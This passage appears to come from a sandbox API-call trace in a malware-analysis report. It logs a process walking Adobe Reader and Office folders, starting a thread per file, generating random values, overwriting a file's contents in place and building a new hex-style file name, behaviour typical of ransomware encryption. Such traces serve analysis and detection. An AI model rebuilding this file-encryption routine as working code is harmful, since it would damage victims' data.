lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss.gif", cAlternateFileName="")) returned 1 [0227.163] wcscmp (_String1="rss.gif", _String2=".") returned 1 [0227.163] wcscmp (_String1="rss.gif", _String2="..") returned 1 [0227.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85c330 [0227.163] wcscpy (in: _Dest=0x1b85c330, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.163] wcscat (in: _Dest=0x1b85c330, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.163] wcscat (in: _Dest=0x1b85c330, _Source="rss.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\rss.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\rss.gif" [0227.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0227.164] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_issue.gif", cAlternateFileName="SERVER~3.GIF")) returned 1 [0227.164] wcscmp (_String1="server_issue.gif", _String2=".") returned 1 [0227.164] wcscmp (_String1="server_issue.gif", _String2="..") returned 1 [0227.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20505e10 [0227.164] wcscpy (in: _Dest=0x20505e10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.165] wcscat (in: _Dest=0x20505e10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.165] wcscat (in: _Dest=0x20505e10, _Source="server_issue.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_issue.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_issue.gif" [0227.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f4 [0227.165] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_lg.gif", cAlternateFileName="SERVER~1.GIF")) returned 1 [0227.165] wcscmp (_String1="server_lg.gif", _String2=".") returned 1 [0227.165] wcscmp (_String1="server_lg.gif", _String2="..") returned 1 [0227.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20505c30 [0227.166] wcscpy (in: _Dest=0x20505c30, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.166] wcscat (in: _Dest=0x20505c30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.166] wcscat (in: _Dest=0x20505c30, _Source="server_lg.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_lg.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_lg.gif" [0227.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670 [0227.166] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_ok.gif", cAlternateFileName="SERVER~2.GIF")) returned 1 [0227.166] wcscmp (_String1="server_ok.gif", _String2=".") returned 1 [0227.166] wcscmp (_String1="server_ok.gif", _String2="..") returned 1 [0227.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x205061d0 [0227.167] wcscpy (in: _Dest=0x205061d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.167] wcscat (in: _Dest=0x205061d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.167] wcscat (in: _Dest=0x205061d0, _Source="server_ok.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_ok.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\server_ok.gif" [0227.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205061d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1518 [0227.168] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x393, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop_collection_data.gif", cAlternateFileName="STOP_C~1.GIF")) returned 1 [0227.168] wcscmp (_String1="stop_collection_data.gif", _String2=".") returned 1 [0227.168] wcscmp (_String1="stop_collection_data.gif", _String2="..") returned 1 [0227.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x43131bc0 [0227.168] wcscpy (in: _Dest=0x43131bc0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.168] wcscat (in: _Dest=0x43131bc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.168] wcscat (in: _Dest=0x43131bc0, _Source="stop_collection_data.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\stop_collection_data.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\stop_collection_data.gif" [0227.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43131bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614 [0227.169] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802482e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38a, dwReserved0=0x0, dwReserved1=0x0, cFileName="submission_history.gif", cAlternateFileName="SUBMIS~1.GIF")) returned 1 [0227.169] wcscmp (_String1="submission_history.gif", _String2=".") returned 1 [0227.169] wcscmp (_String1="submission_history.gif", _String2="..") returned 1 [0227.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x43130e00 [0227.169] wcscpy (in: _Dest=0x43130e00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.169] wcscat (in: _Dest=0x43130e00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.170] wcscat (in: _Dest=0x43130e00, _Source="submission_history.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\submission_history.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\submission_history.gif" [0227.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43130e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7fc [0227.170] FindNextFileW (in: hFindFile=0x1ced6160, lpFindFileData=0x1cd627b0 | out: lpFindFileData=0x1cd627b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="tl.gif", cAlternateFileName="")) returned 1 [0227.170] wcscmp (_String1="tl.gif", _String2=".") returned 1 [0227.170] wcscmp (_String1="tl.gif", _String2="..") returned 1 [0227.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b85ba30 [0227.171] wcscpy (in: _Dest=0x1b85ba30, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0227.171] wcscat (in: _Dest=0x1b85ba30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\" [0227.171] wcscat (in: _Dest=0x1b85ba30, _Source="tl.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tl.gif") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tl.gif" [0227.171] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tl.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tl.gif")) returned 0x20 [0227.173] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tl.gif", dwFileAttributes=0x20) returned 1 [0227.174] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\tl.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\tl.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x804 [0227.174] GetFileSizeEx (in: hFile=0x804, lpFileSize=0x3559f8a0 | out: lpFileSize=0x3559f8a0*=85) returned 1 [0227.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d70 [0227.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8370 [0227.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6c60 [0227.175] NtQuerySystemTime (in: CurrentTime=0x3559f760 | out: CurrentTime=0x3559f760*=132462178311682000) returned 0x0 [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x5bb016ac [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x5c7e029b [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x40647ea1 [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x6b981f51 [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x4bc98a9e [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x7f32e975 [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x2bd4409d [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x11371c13 [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x4e214538 [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x30823bfe [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x17ff491 [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x54116e14 [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x57aabf7 [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x660f5620 [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x3cb3f0c7 [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x262f760e [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x1c393fa8 [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x27ecb054 [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x71e9fdb9 [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x5bff9adc [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x73c8cdf3 [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0xcc032ca [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0xa030682 [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x344c9e3e [0227.175] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x66b67a96 [0227.176] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x529cdf60 [0227.176] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x10630447 [0227.176] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0xadcb694 [0227.176] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x379b8b4d [0227.176] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x2bae491e [0227.176] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x44e6f3d5 [0227.176] RtlRandomEx (in: Seed=0x3559f750 | out: Seed=0x3559f750) returned 0x2df32b54 [0227.177] ReadFile (in: hFile=0x804, lpBuffer=0x41cd00b0, nNumberOfBytesToRead=0x55, lpNumberOfBytesRead=0x3559f750, lpOverlapped=0x0 | out: lpBuffer=0x41cd00b0*, lpNumberOfBytesRead=0x3559f750*=0x55, lpOverlapped=0x0) returned 1 [0227.177] SetFilePointerEx (in: hFile=0x804, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.177] WriteFile (in: hFile=0x804, lpBuffer=0x41cf5950*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x3559f754, lpOverlapped=0x0 | out: lpBuffer=0x41cf5950*, lpNumberOfBytesWritten=0x3559f754*=0x55, lpOverlapped=0x0) returned 1 [0239.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffea0 [0239.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fff30 [0239.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fff30) returned 1 [0239.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cf5950) returned 1 [0239.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cd00b0) returned 1 [0239.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb10) returned 1 [0239.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62870) returned 1 [0239.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x204fff30 [0239.418] SetFilePointerEx (in: hFile=0x804, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.418] WriteFile (in: hFile=0x804, lpBuffer=0x1cebd130*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x3559f870, lpOverlapped=0x0 | out: lpBuffer=0x1cebd130*, lpNumberOfBytesWritten=0x3559f870*=0xfe, lpOverlapped=0x0) returned 1 [0242.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61d30 [0242.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb90 [0242.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0242.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0242.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82cfe0 [0242.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0242.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861260 [0242.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861260) returned 1 [0242.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0242.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61d30) returned 1 [0242.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x1b861260 [0242.362] sprintf (in: _Dest=0x1b861260, _Format="%c%c" | out: _Dest="3d") returned 2 [0242.362] sprintf (in: _Dest=0x1b861262, _Format="%c%c" | out: _Dest="0f") returned 2 [0242.362] sprintf (in: _Dest=0x1b861264, _Format="%c%c" | out: _Dest="f3") returned 2 [0242.362] sprintf (in: _Dest=0x1b861266, _Format="%c%c" | out: _Dest="0d") returned 2 [0242.362] sprintf (in: _Dest=0x1b861268, _Format="%c%c" | out: _Dest="71") returned 2 [0242.362] sprintf (in: _Dest=0x1b86126a, _Format="%c%c" | out: _Dest="7c") returned 2 [0242.362] sprintf (in: _Dest=0x1b86126c, _Format="%c%c" | out: _Dest="2e") returned 2 [0242.362] sprintf (in: _Dest=0x1b86126e, _Format="%c%c" | out: _Dest="bf") returned 2 [0242.362] sprintf (in: _Dest=0x1b861270, _Format="%c%c" | out: _Dest="30") returned 2 [0242.363] sprintf (in: _Dest=0x1b861272, _Format="%c%c" | out: _Dest="6d") returned 2 [0242.363] sprintf (in: _Dest=0x1b861274, _Format="%c%c" | out: _Dest="b8") returned 2 [0242.363] sprintf (in: _Dest=0x1b861276, _Format="%c%c" | out: _Dest="93") returned 2 [0242.363] RtlInitAnsiString (in: DestinationString=0x3559f8e8, SourceString="3d0ff30d717c2ebf306db893" | out: DestinationString="3d0ff30d717c2ebf306db893") [0242.363] RtlAnsiStringToUnicodeString (in: DestinationString=0x3559f8b8, SourceString="3d0ff30d717c2ebf306db893", AllocateDestinationString=1 | out: DestinationString="3d0ff30d717c2ebf306db893") returned 0x0 [0242.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431ad060 [0242.363] wcscat (in: _Dest=0x4230dc40, _Source="3d0ff3" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\3d0ff3") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\3d0ff3" [0242.363] wcscat (in: _Dest=0x4230dc40, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\3d0ff3.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\3d0ff3.2f9b60" [0242.363] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\3d0ff3.2f9b60", NtPathName=0x3559f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\3d0ff3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279970 Thread: id = 2059 os_tid = 0x132c [0138.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x202b1af0 [0138.022] wcscpy (in: _Dest=0x202b1af0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" [0138.023] wcscat (in: _Dest=0x202b1af0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\" [0138.023] wcscat (in: _Dest=0x202b1af0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*" [0138.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61df0 [0138.023] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced61c0 [0138.025] wcscmp (_String1=".", _String2=".") returned 0 [0138.025] FindNextFileW (in: hFindFile=0x1ced61c0, lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.025] wcscmp (_String1="..", _String2=".") returned 1 [0138.025] wcscmp (_String1="..", _String2="..") returned 0 [0138.025] FindNextFileW (in: hFindFile=0x1ced61c0, lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1 [0138.025] wcscmp (_String1="Components", _String2=".") returned 1 [0138.025] wcscmp (_String1="Components", _String2="..") returned 1 [0138.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20278230 [0138.025] wcscpy (in: _Dest=0x20278230, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" [0138.025] wcscat (in: _Dest=0x20278230, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\" [0138.025] wcscat (in: _Dest=0x20278230, _Source="Components" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components" [0151.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1067c0 [0151.775] wcscpy (in: _Dest=0x1067c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components" [0151.775] wcscat (in: _Dest=0x1067c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\" [0151.775] wcscat (in: _Dest=0x1067c0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*") returned="C:\\Program Files\\Microsoft 